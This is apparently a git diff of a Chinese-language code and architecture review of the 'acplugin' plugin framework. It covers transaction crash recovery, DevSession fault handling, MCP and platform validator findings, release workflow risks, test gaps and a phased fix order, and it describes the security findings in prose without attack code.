`.changeset/calm-tools-name.md` 被 staged 删除。删除本身可辩护(该选项随后被移除),但手工版本号绕过了 changeset 驱动的版本化,且仓库中**不存在任何 `CHANGELOG.md`**,`0.0.3-beta` 将无任何变更记录发布。 | 同左 | 补一份说明性 Changeset,或在发布指南中明确记录该手工 bump。 | -| P3-11 | **两个孤儿空目录与一处不自洽清单。** `packages/platforms/codex/test/golden/skills/command-release/agents`(golden 删除后残留,git 不跟踪空目录故 `git status` 干净);`packages/platforms/pi/test/golden`(空,且 `pi/test/platform.test.ts` 完全不引用 `goldenRoot`,是六平台中唯一没有 golden 的)。另 `scripts/comment-coverage.json` 收录了 `packages/acplugin/test/sdk-boundary.test.ts` 却未收录同批新增的 `project.test.ts` 与 `dev-session.test.ts`——脚本只对 `src/**` 自动发现,测试文件靠手工登记故不报错。清单本身无 stale 项(195/195 全部存在)。 | 同左 | 删除空目录;补齐或明确不收录测试文件的规则。 | +两者对含星光平面字符(代理对)的键会给出**不同顺序**。 ---- +**证伪过程**:`addDocumentField()`(code-point 排序)的结果最终一定经过 `encodePackageDocument()`(`package/documents.ts:64`),后者无条件 `snapshotJson(document.value, ...)` **重新按 code unit 排序**再序列化。因此 `addDocumentField` 的内存顺序不进入任何输出字节、哈希或报告。`stableJson`(`serialization/json.ts:28`)同样用 code unit。 -## 4. Architecture Consistency Matrix - -评分含义 —— **架构匹配度**:实现与目标架构的一致程度;**实现完整度**:是否覆盖了声明的能力;**复杂度**:相对该子系统真实职责是否相称。 - -| 子系统 | 架构匹配度 | 实现完整度 | 复杂度是否合理 | 结论 | -| --- | --- | --- | --- | --- | -| **Node Runtime** | ✅ 完全匹配。是 Core Framework Resource 而非 Extension 包(`packages/extensions/node-runtime` 不存在且被测试断言);owner 固定 `framework:node-runtime`;自动发现 `src/runtime/` 一级文件与显式 `runtime.entries` 互斥且规则清晰;用 Core `portable-node` 编译;每入口只构建一次;不支持的平台只报 `unsupported` 且 `assets: []`;空目录返回 `undefined`(无 Artifact、无兼容性噪声);固定输出 `runtime//main.mjs`;不依赖 descriptor / factory / Extension Contributor / Manifest patch | ✅ 完整。扩展名最长匹配、`.d.ts` 排除、kebab ID、NFC/case 冲突检测、executable/module mode 全部实现 | ✅ 合理(247 行 provider + 19 行 paths) | **保留** | -| **Hooks** | ✅ 完全匹配。`bundler.ts`/`adapters.ts` 已删除;只经 Core `portable-node` 编译一次并复用 Built State;作者只返回语义结果,目标 wire 由 Contributor 负责;runner 有 I/O 上限、顶层错误捕获、固定脱敏错误码;`process.env` 只出现在**生成的运行时源码模板**中,构建期不读取 | ⚠️ 一处边界缺陷:严格 JSON 快照静默丢弃嵌套 `undefined`(P2-12) | ✅ 合理 | **局部修复** | -| **MCP** | ✅ 架构匹配(portable intersection、secret 只存 env 名、Contributor 负责 wire、单次编译) | ❌ **三处实质缺陷**:smoke 可被伪造(P1-6)、descriptor 非判别联合(P2-3)、`entry` 默认值三处不一致(P2-11) | ✅ 合理 | **局部修复(优先级最高)** | -| **Platform / Claude Code** | ✅ 匹配 | ⚠️ 808 行深度校验(真实读取并解析 `hooks.json` / `.mcp.json` sidecar 内容),但存在 orphan `.mcp.json` 旁路(**P1-7**) | ✅ 合理 | **局部修复(一行)** | -| **Platform / Codex** | ✅ 匹配 | ⚠️ 1169 行,六平台中最深(强制 url/command 恰选其一、`cwd` 必须为 `"."`、bearer 必须是 env 名);同一 orphan 缺口(P2-4) | ✅ 合理 | **局部修复(一行)** | -| **Platform / Cursor** | ✅ 匹配 | ✅ **无 orphan 缺口**——Cursor 的 MCP/hooks 只经 manifest 引用加载,校验器读取范围与之同构 | ✅ 合理 | **保留** | -| **Platform / Antigravity** | ✅ 匹配 | ✅ **无 orphan 缺口,且是正确范式**:`validator.ts:160-172` 由"根文件是否存在"驱动校验,而非由 manifest 引用驱动。建议 Claude Code / Codex 直接借鉴 | ✅ 合理 | **保留(作为参考实现)** | -| **Platform / OpenCode** | ✅ 匹配 | ✅ 校验器虽仅 171 行但质量高:按 `type` 精确字段集、未知字段拒绝、local 必须 `["node", <已签发 workspace Asset>]`(阻断任意本地命令)、URL 限 http(s) 且拒绝内联凭据、OAuth 精确字段集。**无 manifest-ref 旁路** | ✅ 合理 | **保留** | -| **Platform / Pi** | ✅ 匹配 | ✅ 不支持的能力正确报告 `unsupported` 而非伪实现——MCP Contributor 只产出 compatibility、零 Asset 零 Document 字段;Hooks 逐事件区分 native/degraded/unsupported | ✅ 合理 | **保留** | -| **Transaction** | ✅ 匹配。`lock → recover → stage → validate → backup → swap → cleanup` 顺序正确 | ⚠️ **崩溃恢复矩阵本身正确**(见 §5 逐窗口推演),但 lock 子协议不是崩溃安全的(**P1-5**),且目录权限未纳入 mode 契约(**P2-1**) | ✅ 合理(633 行承担可恢复整体替换 + subset 保留) | **lock 局部重写 + 其余局部修复** | -| **DevSession** | ✅ 匹配。单一 active round、pending 合并、初始化期补偿轮不发布伪事件、sequence 从 1 开始、close 期间 active round 仍发 complete、`closed` 恰好一次、并发 close 共享 Promise、listener 异常隔离并自动撤销 | ❌ **故障路径完全不收敛**(**P1-3 / P1-4**);正常路径正确 | ✅ 合理 | **局部修复** | -| **Migration** | ✅ 完全隔离。唯一入口是 `cli.ts:318` 的动态 `import()`,产物中为独立 chunk;Core/Platform/Extension/正常 CLI 均无反向 import;`migration/legacy/**` 六个文件相对 HEAD 零改动,未被机械重写 | ✅ 完整 | ✅ 合理 | **保留** | -| **Docs / Playground** | ⚠️ Playground 边界干净(只 import 公开包,`@acplugin/core` 与深层私有路径命中数为 0),`docs:check` 通过 | ❌ 文档描述了不存在的 CLI 选项(**P1-8**)与四个不存在的诊断码(**P2-13**),并保留僵尸术语(P3-2) | ✅ 合理 | **局部修复** | -| **Release** | ⚠️ tarball 边界本身正确(无 `@acplugin/*` 运行时依赖、`workspace:^` 与 `catalog:` 正确改写、主包不 bundle/re-export 官方集成、跨 tarball brand 有效) | ❌ **发布编排是当前最大风险面**:P1-1、P1-2、P2-6、P2-7、P2-8 五项 | — | **局部修复(但需两个架构决策)** | +**判定:不是确定性 bug,无需修复。** 若要做一致性清理,最小改动是让 `addDocumentField` 也用 `compareCodeUnits`(`package/json-snapshot.ts:74`),一行。属可选。 --- -## 5. Transaction 崩溃窗口逐一推演 +### P3-3 · 真实问题 · Core 内保留了 3 处纯转发 re-export -用户明确要求"不要默认当前 `.writing → sync → hard-link` 方案正确,请逐个崩溃窗口推演"。以下是独立推演结果。 - -事务实际序列(`packages/core/src/transaction.ts:462-632`): +**证据** ``` -acquireLock(wx) -→ recover(读 pending marker / committed marker / backup,按四分支复原) -→ 清理 markers、.writing 草稿、陈旧 stage -→ [subset] 快照未选 Platform -→ mkdtemp(stage) → 物化 preserved + units -→ validate units / preserved / stage 顶层闭包 → 复核 outDir 中的 preserved -→ writeTransactionMarker(pending, hadOutput=exists(outDir)) -→ [if exists] rename(outDir → backup) -→ rename(stage → outDir) -→ afterSwap() ← closeIntegrations -→ writeTransactionMarker(committed) -→ rm backup → rm pending → rm committed -→ finally: rm stage / close lock / rm lock +packages/core/src/lifecycle/build-session.ts:48-52 re-export createKernelBuildEnvironment / disposeKernelBuildEnvironment / KernelBuildEnvironment(来自 ./build-environment.js) +packages/core/src/package/json-snapshot.ts:10 export { snapshotJson }(来自 ../security/json-snapshot.js) +packages/core/src/output/transaction.ts:24 export type { ManagedOutputScope }(来自 ./transaction-files.js) ``` -### 崩溃窗口矩阵 - -| # | 崩溃点 | 磁盘残留状态 | 恢复动作 | 结果 | 判定 | -| --- | --- | --- | --- | --- | --- | -| W1 | pending marker 写完,rename 前 | pending(hadOutput=T),无 backup,outDir=旧 | pending 分支 → hasBackup=F 且 outDir 存在 → 不动 | 旧输出完好 | ✅ | -| W2 | `rename(outDir→backup)` 后,swap 前 | pending(T),backup=旧,outDir 缺失,stage 存在 | `rename(backup→outDir)`;stage 按前缀清理 | 旧输出复原 | ✅ | -| W3 | `rename(stage→outDir)` 后,committed 前 | pending(T),backup=旧,outDir=**新** | `rm outDir`(新)→ `rename(backup→outDir)` | 未提交的新输出被丢弃,旧输出复原 | ✅ **不会暴露未 cleanup 的新输出** | -| W4 | committed marker 写完,`rm backup` 前 | pending+committed,backup=旧,outDir=新 | committed 分支 → outDir 存在 → `rm backup` | 新输出保留,旧 backup 丢弃 | ✅ | -| W5 | `rm backup` 后,`rm pending` 前 | pending+committed,outDir=新 | committed 分支 → 无动作 → 删两个 marker | 新输出保留 | ✅ | -| W6 | `rm pending` 后,`rm committed` 前 | 仅 committed,outDir=新 | committed 分支 → 无动作 → 删 committed | 新输出保留 | ✅ | -| W7 | **首次构建**,pending(F) 写完,swap 前 | pending(hadOutput=F),无 backup,outDir 缺失 | hadOutput=F 分支 → outDir 不存在 → 不动 | 无残留 | ✅ | -| W8 | **首次构建**,swap 后,committed 前 | pending(F),无 backup,outDir=新 | hadOutput=F 分支 → `rm outDir` | 未提交的首份输出被移除 | ✅ | -| W9 | `fs.link` 成功后、`rm(.writing)` 前 | 正式 marker + `.writing` 草稿 | 读正式 marker;`:518-519` 清理草稿 | 正确 | ✅ | -| W10 | `.writing` 写完、`fs.link` 前 | 仅 `.writing` 草稿 | 无 marker → 走 backup 分支;草稿被清理 | 正确 | ✅ | -| W11 | `afterSwap`(即 `closeIntegrations`)抛出 | 触发显式 rollback:`rm outDir` + `rename(backup→outDir)`;`:604-612` 清理两个 marker | — | 旧输出复原,无残留 marker | ✅ | -| W12 | rollback 本身失败(AggregateError) | markers 保留(`:604` 判定排除 AggregateError) | 下轮 pending(T)+backup 分支复原 | 可自动恢复 | ✅ **有意设计,正确** | - -### 结论 +**后果**:这三处存在的唯一作用是让拆分前的 import 路径继续可用(`project/project.ts:20-25` 与 `dev-session.ts:15-20` 仍从 `build-session.js` 取 environment 函数)。AGENTS.md 明确"当前 beta 允许 breaking change,不需要保留旧架构兼容层或 shim"。这也是"拆文件后靠转发维持旧引用"这一反模式的典型形态——虽然规模极小(3 处)。 -**`.writing → sync → hard-link` 的 marker 发布方案与四分支恢复逻辑在所有 12 个窗口下都正确**:既不会暴露未完成 cleanup 的新输出(W3/W8),也不会错误删除上一份完整输出(W1/W2/W11/W12)。`wx` + hard-link no-replace 保证 marker 永不出现部分 JSON。`hadOutput` 的取值点(`:551`)与其消费点(`:557`)之间没有插入任何状态变更。subset 与 full 的交互也已验证:`normalizeScope` 强制 selected 集合与 Unit Platform 集合精确相等,而失败平台会先触发 `diagnostics.hasErrors` 从而完全跳过提交(`build-session.ts:944`),因此不可达不一致状态。 +**最小修复**:把 3 个消费点改为直接从真实模块导入,删掉转发行。 -**真正的缺口不在恢复矩阵,而在其外围**:lock 协议(P1-5)、目录权限(P2-1)、以及未被使用的 `scope` 字段与 marker 不匹配的无自愈路径(P3-7)。 - -其余对抗性检查结果:symlink / 特殊文件在 `scanPhysicalTree` 中被拒绝;case/Unicode collision 在 preserved 快照与 Package 路径两处都用 `sourceCollisionKey` 折叠检测;TOCTOU 由 `materializationBytes` 在每次落盘前重新校验来源;`fs.rm(lockPath)` 只在成功获锁的路径上执行(`acquireLock` 位于 `try` 之外),不会误删他人的锁。 +**改动范围**:Core(约 5 行 import 调整)。 +**测试建议**:typecheck 即可覆盖。 --- -## 6. Over-design and Complexity Audit - -### 合理复杂度(应保留) - -| 复杂度来源 | 为什么合理 | -| --- | --- | -| **Capability 授权体系**(`SourceRegistry` / `AssetRegistry` / `WorkDirectoryRegistry` / `BuildSessionScope` / grant / brand) | 这是全仓最大的单一复杂度来源,也是**最有正当性**的一个。威胁模型真实存在:第三方 Platform/Extension 是 npm 包,在作者的构建进程内执行。没有它,"Platform 无 `dist` 写权限""Extension 只能引用自己的 Asset""owner/mode/hash 在继承中保持"全部无法成立。Vite/tsdown 不需要它,是因为它们不把插件当作**不可信**输入。 | -| **可恢复的整体输出事务** | §5 证明它真的能在 12 个崩溃窗口下保住上一份完整输出。这是"`dist` 是框架完整托管目录"这一产品承诺的唯一实现方式。 | -| **六平台 compatibility + 最终 candidate validation** | 跨平台 wire protocol 差异是产品的核心价值,不是可省的抽象。compatibility registry 的覆盖强制、cause 无环校验、依赖最差等级传播到不动点都有真实语义。 | -| **两个 Compiler profile(portable-node / managed-rolldown)** | 二者权限边界确实不同:portable 完全由 Core 固定 input/output/plugins;managed 向可信集成开放受限 Rolldown 面。这不是重复,是两个不同的信任级别。 | -| **每阶段一个 provider / registry 模块** | 机械核查显示 Core 40 个模块**无一个零引用**,也没有 single-implementation 工厂或接口。这些是线性流水线的分解,不是投机抽象。 | +### P3-4 · 真实问题(可选) · `cli/output.ts` 为一个错误类反向依赖 `scaffolding/` -### 可删除复杂度 +**证据** -只有三处,合计影响很小: +`packages/acplugin/src/cli/output.ts:7` `import { InitError } from '../scaffolding/init.js';`,仅用于 `:79-80` 的一个 `instanceof` 分支。 -1. **`validateCompleteMaterialization` 在提交路径上的重复物化**(P3-5)——`if (!input.commit)` 一行收敛,每次构建少写一遍全量输出。 -2. **transaction marker 的 `scope` 字段**(P3-7)——被严格校验但从不参与恢复分支,是纯粹的死数据,且参与 marker 不匹配判定从而制造了一个无自愈的失败态。 -3. **`packages/core/src/resources/project-graph.ts`(24 行,单一引用者)与 `kernel/report-safety.ts`(23 行)** —— 属于"文件过小"而非过度设计,不构成 Finding,仅记录。 +`output.ts` 被全部 6 个 CLI 命令模块引用(build / dev / init / inspect / migrate / validate / pipeline),而 `scaffolding/init.ts` 静态拉入 `node:child_process` 与 `scaffolding/prompts.ts` → `@inquirer/prompts`。 -### 错误抽象 +**后果**:共享的展示层反向依赖一个 feature 模块。**没有实际运行时代价**——`packages/acplugin/src/index.ts:13` 本来就导出 `initializeProject`,`cli/program.ts:3` 又从 `index.js` 取 `ACPLUGIN_VERSION`,交互栈无论如何都会进入图(已在 `dist/src-*.mjs` 同一 chunk 中验证)。因此这是**纯分层问题,不是性能或体积问题**。 -**未发现。** 特别核查了以下常见反模式,均不存在: -- 单实现接口 / 单产品工厂:无 -- 为复用而制造的错误公共抽象:无——Hooks 与 MCP 的 Contributor 共享 `contributors/common.ts`,但那是真实的两个调用方 -- 本应由 Core 统一提供却被多包重复实现的能力:**只有一处**——严格 JSON 快照在 Core(`data-boundary.ts`)与 Hooks(`discovery.ts:117`)有两套语义分叉的实现(P2-12)。这是唯一一处应当收敛的重复 -- 本应留在 Platform 却被下沉到 Core 的目标协议:**无**。Core 中不含任何平台名分支;Runtime 的 `native`/`unsupported` 判定读的是 Platform 自己声明的 capability,不是 Core 内置的平台知识 +**最小修复**:让 `cli/commands/init.ts` 自己 catch `InitError` 并构造诊断,`output.ts` 只保留 `ProjectConfigError` 分支;或把 `InitError` 下沉到 `cli/` 共享位置。 -### 不应继续实现的能力 - -- **Extension 依赖图 / 顺序协议 / override 系统**:当前明确不提供,且**应当继续不提供**。本轮未发现任何两个以上的真实案例需要它。现有的"无序 add-only + 独占 extension point claim + 冲突即失败"模型已经足够,且是确定性的。 -- **v1 兼容层**:已明确不保留,`LIFECYCLE_API_VERSION` 维持 `'1'`。正确。 -- **CLI 的 strict 覆盖层**:文档声称存在但实际不存在(P1-8)。建议**删文档而非补实现**——它会给 `ProjectRunOptions` 增加公开字段并引入一套三级优先级规则,与"CLI 不维护第二条构建路径"原则相悖,而 `build.strict` + Platform 工厂 `strict` 已覆盖需求。 +**改动范围**:主包。**建议**:可选,优先级低于 P1/P2。 --- -## 7. Previous Finding Audit - -工作树中已存在一份先前 Review:`.llmdoc-tmp/reviews/kernel-v2-final-cross-review-2026-08-14.md`(2026-08-18 14:11 定稿,`NOT_READY`,6×P1 / 6×P2 / 3×P3)。本轮**未默认其正确**,对其 15 条结论逐一独立复验。副本已保留于 `.llmdoc-tmp/reviews/_superseded-kernel-v2-final-cross-review-2026-08-18T1411.md`。 - -| 先前 Finding | 本轮判定 | 独立复验方式与结论 | -| --- | --- | --- | -| **F1** Changesets 会发布稳定 1.0 | **仍然成立** | **[EXEC]** 实跑 `changeset status`:九个包全部 `newVersion: "1.0.0"`;`.changeset/` 无 `pre.json`;`semver.inc('0.0.2-beta','major')==='1.0.0'`。→ 本轮 **P1-1** | -| **F2** Patch workflow 不刷新生态快照 | **仍然成立** | **[READ+EXEC]** 逐行读 `patch.yml:89,119-120`(只有 `version-packages` → `install --lockfile-only` → lint → typecheck,无快照生成、无 `release:verify`)+ `verify-release.mjs:143` 的相等断言。→ 本轮 **P1-2** | -| **F3** watcher reconciliation 失败丢事件 + 未处理拒绝 | **仍然成立** | **[READ]** 在读到该 Review 之前已独立发现同一问题。行号复核:`dev-session.ts:213` 的 `void drain()`、`:263` 的 throw、`:274-280` 先提交 snapshot 后物理应用、`:307` 未 await 的 unwatch。→ 本轮 **P1-3** | -| **F4** close 失败使 `closed` 永不 settle | **仍然成立,且范围更大** | **[READ]** 同样在阅读该 Review 前独立发现。本轮**追加**一个先前未记录的同源缺陷:`poller` 创建于 `:166`,而 watcher 初始化在 `:403-416` 位于 `try`(`:418`)之外,构造期失败会同时泄漏 poller 与半初始化 watcher。→ 本轮 **P1-4** | -| **F5** transaction lock 非崩溃安全 | **仍然成立** | **[EXEC]** 独立重跑其 repro:预置空 lock → 稳定抛 `Managed output is locked` 且空锁残留。本轮**追加** PID 复用无逃生路径这一残余缺口。→ 本轮 **P1-5** | -| **F6** MCP stdio smoke 可被冒充 | **仍然成立** | **[EXEC]** 独立重跑 `mcp-fake-smoke` fixture:两行 printf 的"server"得到 `success=true, committed=true, diagnostics=[]`,兼容性为 `native`。并逐行复核 `build.ts:84` 的判定确实不检查 envelope/error/协商字段。→ 本轮 **P1-6** | -| **F7** MCP descriptor 非 transport 判别联合 | **仍然成立** | **[READ+EXEC]** `discovery.ts:13` 的 `FIELDS` 确为并集;同一 fixture 中 stdio 携带 `url` + `auth:{type:'none',env:...}` 被静默接受。→ 本轮 **P2-3** | -| **F8** `entry: './server.ts'` 报文件缺失 | **仍然成立,但需重新定性** | **[READ]** 机制确认(`path-policy.ts:50-52` 拒绝 `.` segment → `entrySource` 为 undefined → 报 `MCP_ENTRY_MISSING`)。**但先前描述不够准确**:所有实际代码示例(docs/README/playground)都正确使用 `'server.ts'`,只有 `types.ts:57` 的 TSDoc 及其生成的 TypeDoc 页声明了 `./server.ts`。本轮同时发现**先前未记录的内部矛盾**:`discovery.ts:110` 与 `:176` 对默认值的取值不同。→ 本轮 **P2-11**(重新定性) | -| **F9** Hooks 快照丢弃嵌套 `undefined` | **仍然成立** | **[READ]** `discovery.ts:117-118` 确为 `continue`。→ 本轮 **P2-12** | -| **F10** `current` 语义两份规范矛盾 | **仍然成立,但应收窄** | **[READ]** 行为本身自洽(最近成功值,首轮失败时以失败报告播种)。真正的缺陷是 `kernel-types.ts:1014` 是 `DevSession` 接口里**唯一无文档注释**的成员,公开契约未定义。降级为文档/契约缺口。→ 本轮 **P3-1** | -| **F11** Extension build 失败误归因给每个平台 | **仍然成立** | **[READ]** `build-session.ts:150` 确实排除 extension-owned error,`extension-provider.ts:347-349` 确实 throw,被 `runPlatformStage('contribute')` 转成 per-platform 错误。→ 本轮 **P2-10** | -| **F12** managed deterministic 审计比 portable 窄 | **仍然成立** | **[READ]** `managed-auditor.ts:213-219` 只比对完整模块 ID;`portable-auditor.ts:19-25` 比对全部物理根 + separator 变体。不对称确认。→ 本轮 **P2-9** | -| **F13** Scanner 僵尸术语 | **仍然成立,范围更大** | **[EXEC]** grep 确认 `kernel-types.ts:472`、六平台 `components.ts`、`AGENTS.md:94`、`README.md:379`。本轮**追加**先前未列出的 user-facing 命中:`troubleshooting.md:12` 的章节标题、`project-structure.md:27`、`guide/index.md:7`、`commands-skills-agents.md:3`。→ 本轮 **P3-2** | -| **F14** staged whitespace 门禁失败 | **仍然成立** | **[EXEC]** `git diff --cached --check` exit 2,三个文件行号完全一致。→ 本轮 **P3-3** | -| **F15** `INTERNAL_ERROR` phase 硬编码为 `package` | **仍然成立** | **[READ]** `build-session.ts:968` 确认。→ 本轮 **P3-4** | - -### 审计结论 - -**15 条先前结论全部仍然成立,0 条误报,0 条已解决,2 条需要重新定性(F8 收窄为类型注释矛盾 + 诊断不准确;F10 收窄为公开契约文档缺口)。** 先前 Review 的准确率很高。 - -### 本轮新增、先前 Review 未覆盖的问题 - -| 新 Finding | 为什么先前会漏 | -| --- | --- | -| **P1-7** Claude Code orphan `.mcp.json` 校验旁路 | 需要构造第三方 Extension fixture 并对比"引用"与"孤儿"两种投递形态才能发现 | -| **P1-8** `--strict`/`--no-strict` 是虚构的 CLI 契约 | 需要实际执行 CLI 并与 10 处文档逐一对照 | -| **P1-9** 唯一的 DevSession 测试未跟踪且 flaky | 需要重复执行同一测试文件才会暴露(单次全量执行是绿的) | -| **P2-1** 交付目录权限为 `0700` | 需要检查**目录** mode;所有现有测试与 verify 脚本只断言文件 mode,且以同一 uid 运行 | -| **P2-2** managed `addWatchFile()` 拒绝未生成文件 | 需要构造使用 `addWatchFile` 的第三方 managed 插件;官方集成全部不用该 API | -| **P2-4** Codex 同源 orphan 缺口 | 同 P1-7 | -| **P2-5** 第三方可向 hooks wire 注入任意 shell 命令 | 需要第三方 Contributor fixture 才能观察 | -| **P2-6** 八个 tarball 的 devDependencies 残留 `@acplugin/core` | 需要实际 pack 并解包检查 devDependencies;发布门禁只查三个运行时字段 | -| **P2-7** `^0.0.2-beta` peer 范围排除一切后续主包版本 | 需要对 caret 在 `0.0.x` 下的语义做 semver 求值 | -| **P2-8** clean consumer 未覆盖第三方 Extension 与独立包实例 | 需要读 `verify-release.mjs` 的 fixture 构造细节而非只看它是否通过 | -| **P2-13** troubleshooting 列出四个不存在的诊断码 | 需要实际跑 `--json` 并与源码码表比对 | -| **P2-14** vitest 缺 hooks 源码 alias | 需要逐条比对 alias 表与 import 表 | -| **P3-5 / P3-6 / P3-7** 重复物化、键顺序依赖、死 `scope` 字段 | 结构性观察 | +### P3-5 · 真实问题(可选) · Migration 从最宽的 `@acplugin/core` 根 barrel 导入 ---- +**证据** -## 8. Test and Verification Gaps - -全部门禁通过却存在 9 个 P1,根因是覆盖面集中在正常路径。具体缺口: - -| # | 缺口 | 关联 Finding | 建议补充 | -| --- | --- | --- | --- | -| G1 | **DevSession 故障路径零覆盖**:无 `watcher.add`/`unwatch`/`getWatched`/timeout 故障注入,无 `watcher.close()` reject,无并发 close,无构造期失败 | P1-3, P1-4 | 一组 watcher fault-injection 测试;断言事件成对、无 unhandled rejection、`closed` 必 settle、无 timer/handle 泄漏 | -| G2 | **DevSession 唯一测试未进入版本控制且 flaky** | P1-9 | `git add` + 修竞态;连跑 20 次零失败 | -| G3 | **transaction lock 故障零覆盖**:现有覆盖只到"完整的 dead-PID lock",没有空 / 截断 / 写失败 / rm 失败 / PID 复用 / 同进程 stale token | P1-5 | 每个 lock 窗口一个 fault-injection 用例 | -| G4 | **目录 mode 完全不在断言范围内**:`verify-playground.mjs` 只快照文件 mode;所有测试同 uid 运行 | P2-1 | 把目录 mode 纳入 materialize/candidate/transaction/subset 四条路径的复核基准 | -| G5 | **第三方对抗面只有官方 Extension 测试**:没有任何"仅使用公开 `/sdk` 的最小第三方 Extension"fixture | P1-7, P2-3, P2-4, P2-5, P2-8 | 建立一个共享的敌对第三方 fixture,对六个平台分别投递 referenced 与 orphan 两种非法 wire | -| G6 | **MCP 协议 smoke 只有正向用例**:无伪 server、无 error envelope、无缺协商字段、无重复 id | P1-6 | 九类负向 smoke 用例 | -| G7 | **managed-rolldown 的第三方使用面几乎无覆盖**:`addWatchFile` 零测试,deterministic 只测完整模块 ID 泄漏 | P2-2, P2-9 | `addWatchFile`(存在/不存在/越界 × 有无 symlink 祖先);deterministic 注入四类物理根 | -| G8 | **发布验证覆盖"版本写入之前",不覆盖"版本写入之后"** | P1-1, P1-2 | 在 workflow 等价环境中执行 `version-packages` 后再跑 `release:verify` | -| G9 | **tarball 检查只覆盖三个运行时依赖字段** | P2-6 | 加入 `devDependencies` | -| G10 | **CLI 选项与文档无一致性检查** | P1-8, P2-13 | 一个把 `createCli()` 实际注册的选项/诊断码与文档中出现的对照的静态测试 | -| G11 | **`hooks` 集成测试跑 dist 而非源码** | P2-14 | 补 alias | -| G12 | **Pi 没有 golden 测试**(六平台中唯一) | P3-11 | 补齐或明确记录为有意省略 | +`packages/acplugin/src/migration/validation.ts:8-14` 从 `@acplugin/core` 根导入 `defineExtension / definePlatform / stableJson / Diagnostic / PluginMetadata`——这五个符号全部可从更窄的 `@acplugin/core/integration`(前三个,见 `api/integration.ts:1-9,122-126`)与 `@acplugin/core/author`(后两个)取得。根 barrel `core/src/index.ts` 是 9 个 `export *`,包含 `runKernelBuildSession`、`commitPackageUnits`、`CompilerHost` 等全部内部实现。 ---- +对比:`author/project.ts:1-5` 同样用根 barrel,但那是**必要的**(`createKernelProject` / `runKernelProject` 不在 `/author` 上)。 -## 9. Recommended Fix Order +**后果**:打包后被 tree-shake(migration chunk 只从共享 chunk 取 6 个符号,已验证),**无运行时后果**。只是让隔离子系统与 Core 私有实现之间保留了一条比必要更宽的类型/值面。 -五个阶段。前两个阶段完成前**不得触发 Patch workflow**。 +**最小修复**:`validation.ts` 改用 `@acplugin/core/integration` + `@acplugin/core/author`。**建议**:可选。 --- -### Phase 0 — 发布安全急停(先做,纯配置/流程,无产品代码) - -**Scope:** P1-1、P1-2、P3-6、P3-8、P3-10 -**Non-goals:** 不改任何 Core / Platform / Extension 源码;不做版本晋升决策本身,只保证晋升不会意外发生。 - -1. **架构决策 A:确定 beta release line 与 stable promotion 机制。** 若继续 beta → `pnpm changeset pre enter beta` 并把 `initial-1-0-baseline.md` 移出可消费目录;若确实 GA → 在 `repository.test.ts` 中显式断言预期版本终态。 -2. 新增从九个 manifest 生成 `ecosystem-versions.json` 的脚本,接入 `package.json` 的 `version-packages` script 本身(不可跳过)。 -3. 同批修 `verify-release.mjs:19` 的键顺序依赖(否则第 2 步会触发它)。 -4. `patch.yml` 在创建 PR 前追加 `pnpm run release:verify`,并拒绝未授权的 prerelease → stable 跃迁。 +### P3-6 · 真实问题(文档) · `llmdoc/state/sync.md` 描述的仓库状态已失效 -**测试与 DoD:** 在 workflow 等价环境执行 `version-packages` 后 `release:verify` 通过;`changeset status` 只产生预期版本;无显式 promotion 输入时 `0.0.x-beta → 1.0.0` 必须失败。 +**证据** ---- - -### Phase 1 — 安全边界(对抗性缺陷,影响已发布产物的可信度) +- `llmdoc/state/sync.md` 第 3 行 Baseline 记为 `889da32`,实际 HEAD 为 `51d6852`。 +- 同段 Workflow 声明 *"All changes remain local and uncommitted"* ——实际工作树完全干净,全部改动已提交。 -**Scope:** P1-6、P1-7、P2-3、P2-4;同时建立 G5 的第三方对抗 fixture -**Non-goals:** 不改 Contributor 模型;不引入 Extension 顺序或依赖协议。 +**后果**:这是本轮审查被指定必读的"同步状态"文档。它现在会让下一个读者相信仍有未提交改动,从而做出错误的取舍(例如认为 `git stash`/`reset` 是安全的)。 -1. 建立最小敌对第三方 Extension fixture(仅用公开 `/sdk`),作为后续所有对抗测试的宿主。 -2. `claude-code/src/validator.ts:697` 与 `codex/src/validator.ts:1065` 各加一行 `.mcp.json` orphan 兜底,镜像已有的 hooks 兜底。**并确立通则:凡目标平台会自动发现的根文件,最终校验必须由"文件存在"驱动**(参考 `antigravity/src/validator.ts:160-172`)。 -3. `mcp/src/build.ts:79-85` 严格化 smoke:JSON-RPC 2.0 envelope、无 error、id 唯一匹配、`initialize.result` 含协商后的 `protocolVersion`/`capabilities`/`serverInfo`、`tools/list.result.tools` 为数组。 -4. `mcp/src/discovery.ts:13,146-180` 改为按 transport / 按 `auth.type` 的精确判别联合。 +**最小修复**:更新 baseline 为 `51d6852`,把 Workflow 一行改为"已提交到 `beta_1_0`,未 push / 未发布 / 未打 Tag"。 -**测试与 DoD:** 同一非法 payload 在 referenced 与 orphan 两种形态下于六个平台被同等拒绝;九类负向 smoke 用例全部失败;官方 Contributor 输出与 playground 字节不变。 +**改动范围**:文档。**测试建议**:无。 --- -### Phase 2 — 故障边界收敛(Core 可靠性) - -**Scope:** P1-3、P1-4、P1-5、P2-1 -**Non-goals:** 不改 DevSession 的事件语义或轮次调度模型;不改事务的四分支恢复逻辑(§5 已证明其正确)。 +## 3. 误报与"不应实现"清单 -1. **架构决策 B:确定 transaction lock 的持久记录格式**(record 结构、PID 复用策略、同进程 ownership、legacy lock 处理)。随后局部重写 `transaction.ts:429-459`。 -2. `dev-session.ts:267-313` 改为"准备 → 物理应用 → 提交 snapshot";await `unwatch`;watcher 失败转为稳定 dev failure report。 -3. `round()` 加 `try/finally` 保证 start/complete 配对;`requestDrain` 的 `void drain()` 显式收敛 rejection。 -4. `close()` 的终态五步放入嵌套 `finally`;`createDevSession` 的 watcher 构造纳入带 cleanup 的 try。 -5. 交付目录 mode 统一 `0755` 并纳入四条路径的复核基准。 +以下都是我在审查中提出、**并逐条证伪**的疑点,明确判定为不需要修改: -**测试与 DoD:** G1、G3、G4 三组缺口补齐;`acplugin dev` 在注入 watcher 故障后仍能被 Ctrl+C 正常终止且退出码为 130;每个 lock 窗口最多一个 writer 且下一轮可自动恢复。 +| # | 疑点 | 证伪依据 | 判定 | +|---|---|---|---| +| 1 | `contracts/` 存在导入环(`integrations↔config`、`integrations↔packages`) | `config.ts:1-3`、`packages.ts:1-19` 全部是 `import type`,编译期擦除;文件级值导入无环 | 误报 | +| 2 | 主包 dist 在多个 chunk 中重复打包 Core(`definitions-*.mjs` 254KB + `src-*.mjs` 562KB) | 实际共享:`src-*.mjs` → `definitions-*.mjs`;`migration-*.mjs` → 两者;`sdk.mjs` → definitions;`index.mjs`/`cli.mjs` → src。首次 grep 模式漏了 `from "` 的空格 | 误报 | +| 3 | 